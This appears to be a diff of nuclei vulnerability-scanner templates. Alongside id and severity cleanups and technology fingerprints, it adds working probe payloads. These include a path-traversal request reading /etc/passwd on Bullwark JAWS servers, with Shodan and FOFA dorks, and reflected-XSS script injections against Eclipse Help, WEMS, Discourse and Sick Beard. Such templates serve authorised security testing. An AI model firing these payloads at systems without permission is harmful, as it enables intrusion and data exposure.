   name: Jira Unauthenticated Dashboards
   author: TechbrunchFR
-  severity: Info
+  severity: info
 
 requests:
   - method: GET

security-misconfiguration/jira-unauthenticated-popular-filters.yaml

@@ -3,7 +3,7 @@ id: jira-unauthenticated-popular-filters
 info:
   name: Jira Unauthenticated Popular Filters
   author: TechbrunchFR
-  severity: Info
+  severity: info
 
 requests:
   - method: GET

security-misconfiguration/jira-unauthenticated-projects.yaml

@@ -3,7 +3,7 @@ id: jira-unauthenticated-projects
 info:
   name: Jira Unauthenticated Projects
   author: TechbrunchFR
-  severity: Info
+  severity: info
 
 requests:
   - method: GET

security-misconfiguration/jira-unauthenticated-user-picker.yaml

@@ -3,7 +3,7 @@ id: jira-unauthenticated-user-picker
 info:
   name: Jira Unauthenticated User Picker
   author: TechbrunchFR
-  severity: High
+  severity: high
 
 requests:
   - method: GET
@@ -12,4 +12,4 @@ requests:
     matchers:
       - type: word
         words:
-          - 'user-picker'
+          - 'user-picker'

technologies/favicon-detection.yaml

@@ -14,8 +14,11 @@ info:
   # 17542,e16377344d2d52a15e735041b3eb2c5a,jenkins
   # 1150,6d2adf39ca320265830403dfc030033a,liferay
   # 3638,59a0c7b6e4848ccdabcea0636efda02b,blogger
-  # 198,59a0c7b6e4848ccdabcea0636efda02b,wordpress
-  # 5430,59a0c7b6e4848ccdabcea0636efda02b,wordpress
+  # 198,c6acedaff906029fc5455d9ec52c7f42,wordpress
+  # 5430,c291c057816f71ce15ba5c496f1a965a,wordpress
+  # 1611,f7e3d97f404e71d302b3239eef48d5f2,gitlab
+  # 6093,88717398db158e3330ce94fc1784e4a7,jira
+  # 2494,88717398db158e3330ce94fc1784e4a7,jira
 
 requests:
   - method: GET
@@ -69,3 +72,19 @@ requests:
         name: wordpress
         dsl:
           - "len(body)==5430 && status_code==200 && (\"c291c057816f71ce15ba5c496f1a965a\" == md5(body))"
+      - type: dsl
+        name: gitlab
+        dsl:
+          - "len(body)==1611 && status_code==200 && (\"f7e3d97f404e71d302b3239eef48d5f2\" == md5(body))"
+      - type: dsl
+        name: jira
+        dsl:
+          - "len(body)==6093 && status_code==200 && (\"88717398db158e3330ce94fc1784e4a7\" == md5(body))"
+      - type: dsl
+        name: jira
+        dsl:
+          - "len(body)==2494 && status_code==200 && (\"04d89d5b7a290334f5ce37c7e8b6a349\" == md5(body))"
+      - type: dsl
+        name: confluence
+        dsl:
+          - "len(body)==4259 && status_code==200 && (\"966e60f8eb85b7ea43a7b0095f3e2336\" == md5(body))"

technologies/github-enterprise-detect.yaml

@@ -1,4 +1,4 @@
-id: Github-Enterprise-Detect
+id: github-enterprise-detect
 
 info:
   name: Detect Github Enterprise

technologies/gitlab-detect.yaml

@@ -1,4 +1,4 @@
-id: Gitlab-Detect
+id: gitlab-detect
 
 info:
   name: Detect Gitlab

technologies/jaspersoft-detect.yaml

@@ -1,4 +1,4 @@
-id: Jaspersoft-detect
+id: jaspersoft-detect
 
 info:
   name: Jaspersoft detected

technologies/magmi-detect.yaml

@@ -0,0 +1,20 @@
+id: magmi-detect
+
+info:
+  name: "MAGMI (Magento Mass Importer) Plugin Detect"
+  author: "dwisiswant0"
+  severity: "info"
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/magmi/web/js/magmi_utils.js"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "magmi_multifield"
+        part: body
+      - type: status
+        status:
+          - 200

technologies/netsweeper-webadmin-detect.yaml

@@ -16,7 +16,6 @@ requests:
     matchers:
       - type: regex
         regex:
-          - "Version: ([\\d.]+)"
           - "Powered by netsweeper"
           - "Netsweeper Inc"
         condition: or

technologies/sap-netweaver-detect.yaml

@@ -1,4 +1,4 @@
-id: SAP-Netweaver-Detect
+id: sap-netweaver-detect
 info:
   name: SAP NetWeaver Detect
   author: rakeshmane10

technologies/tech-detect.yaml

@@ -2688,4 +2688,30 @@ requests:
         words:
           - "/etc/clientlibs/"
           - "/content/dam/"
-        part: body
+        part: body
+
+      - type: word
+        name: lotus-domino
+        words:
+          - "Server: Lotus-Domino"
+        part: header
+
+      - type: word
+        name: mongo-express-web-gui
+        words:
+          - "Set-Cookie: mongo-express="
+        part: header
+
+      - type: word
+        name: pf-sense-ui
+        words:
+          - "Login to pfSense"
+
+      - type: word
+        name: weave-scope-dashboard
+        words:
+          - "<title>Weave Scope</title>"
+          - "__WEAVEWORKS_CSRF_TOKEN"
+          - "__CSRF_TOKEN_PLACEHOLDER__"
+        condition: and
+        part: body

technologies/weblogic-detect.yaml

@@ -1,4 +1,4 @@
-id: WebLogic-Detect
+id: weblogic-detect
 
 info:
   name: Detect Weblogic

vulnerabilities/bullwark-momentum-series-directory-traversal.yaml

@@ -0,0 +1,32 @@
+id: bullwark-momentum-directory-traversal
+
+info:
+  name: Bullwark Momentum Series JAWS 1.0 - Directory Traversal
+  author: pikpikcu
+  severity: high
+
+# Refrence:-https://www.exploit-db.com/exploits/47773
+# Vendor Homepage: http://www.bullwark.net/
+# Version : Bullwark Momentum Series Web Server JAWS/1.0
+# Software Link : http://www.bullwark.net/Kategoriler.aspx?KategoriID=24
+# Shodan Dork: https://www.shodan.io/search?query=Bullwark&page=1
+# fofa dork:-https://fofa.so/result?q=Bullwark&qbase64=QnVsbHdhcms%3D
+
+requests:
+  - raw:
+      - |
+        GET /../../../../../../../../../../../../../etc/passwd HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        X-Requested-With: XMLHttpRequest
+        Referer: {{Hostname}}
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        word:
+          - "root:"

vulnerabilities/discourse-xss.yaml

@@ -1,4 +1,4 @@
-id: Discourse XSS
+id: discourse-xss
 
 info:
   name: Discourse CMS - XSS
@@ -9,7 +9,7 @@ info:
 requests:
   - method: GET
     path:
-      - '{{BaseURL}}/email/[email protected]%27\"><svg/onload=alert(1337)>'
+      - '{{BaseURL}}/email/[email protected]%27\%22%3E%3Csvg/onload=alert(1337)%3E'
     matchers-condition: and
     matchers:
       - type: status

vulnerabilities/eclipse-help-system-xss.yaml

@@ -0,0 +1,22 @@
+id: eclipse-help-system-xss
+
+info:
+  name: Eclipse Help System RXSS vulnerability
+  author: pikpikcu
+  severity: medium
+
+  # Source:- https://github.com/pikpikcu/nuclei-templates/blob/master/vulnerabilities/eclipse-xss.yaml
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/help/index.jsp?view=%3Cscript%3Ealert(document.cookie)%3C/script%3E"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "<script>alert(document.cookie)</script>"
+        part: body

vulnerabilities/ibm-infoprint-directory-traversal.yaml

@@ -1,4 +1,4 @@
-id: IBM InfoPrint Directory Traversal
+id: ibm-infoprint-directory-traversal
 
 info:
   name: IBM InfoPrint 4247-Z03 Impact Matrix Printer - Directory Traversal

vulnerabilities/oracle-ebs-bispgraph-file-access.yaml

@@ -3,7 +3,7 @@ id: oracle-ebs-bispgrapgh-file-read
 info:
   name: Oracle EBS Bispgraph File Access
   author: "Alfie Njeru (@emenalf) - https://the-infosec.com"
-  severity: Critical
+  severity: critical
   description: todo
 
 requests:

vulnerabilities/sick-beard-xss.yaml

@@ -12,7 +12,7 @@ info:
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/config/postProcessing/testNaming?pattern=<svg/onload=alert(document.domain)>"
+      - "{{BaseURL}}/config/postProcessing/testNaming?pattern=%3Csvg/onload=alert(document.domain)%3E"
     matchers-condition: and
     matchers:
       - type: status

vulnerabilities/wems-manager-xss.yaml

@@ -0,0 +1,24 @@
+id: wems-manager-xss
+
+info:
+  name: WEMS Enterprise Manager XSS
+  author: pikpikcu
+  severity: medium
+
+  # Source
+  # https://packetstormsecurity.com/files/155777/WEMS-Enterprise-Manager-2.58-Cross-Site-Scripting.html
+  # https://github.com/pikpikcu/nuclei-templates/blob/master/vulnerabilities/wems-enterprise-xss.yaml
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/guest/users/forgotten?email=%22%3E%3Cscript%3Econfirm(document.domain)%3C/script%3E'
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - '"><script>confirm(document.domain)</script>'
+        part: body

vulnerabilities/wordpress-wordfence-xss.yaml

@@ -13,4 +13,4 @@ requests:
       - type: word
         words:
           - "<svg/onload=alert(1337)>"
-        part: body
+        part: body

workflows/magmi-workflow.yaml

@@ -0,0 +1,18 @@
+id: magmi-workflow
+
+info:
+  name: "MAGMI Workflow"
+  author: "dwisiswant0"
+
+variables:
+  magmi_tech: technologies/magmi-detect.yaml
+  magmi_cve1: cves/CVE-2017-7391.yaml
+  magmi_cve2: cves/CVE-2020-5776.yaml
+  magmi_cve3: cves/CVE-2020-5777.yaml
+
+logic: |
+  if magmi_tech() {
+    magmi_cve1()
+    magmi_cve2()
+    magmi_cve3()
+  }

workflows/wordpress-workflow.yaml

@@ -11,6 +11,7 @@ variables:
   wordpress_duplicator_path_traversal: vulnerabilities/wordpress-duplicator-path-traversal.yaml
   wordpress_wordfence_xss: vulnerabilities/wordpress-wordfence-xss.yaml
   wordpress_cve_1: cves/CVE-2019-9978.yaml
+  wordpress_debug_log: files/wordpress-debug-log.yaml
 
 logic: |
   wordpress_tech()
@@ -23,4 +24,5 @@ logic: |
     wordpress_duplicator_path_traversal()
     wordpress_wordfence_xss()
     wordpress_cve_1()
+    wordpress_debug_log()
   }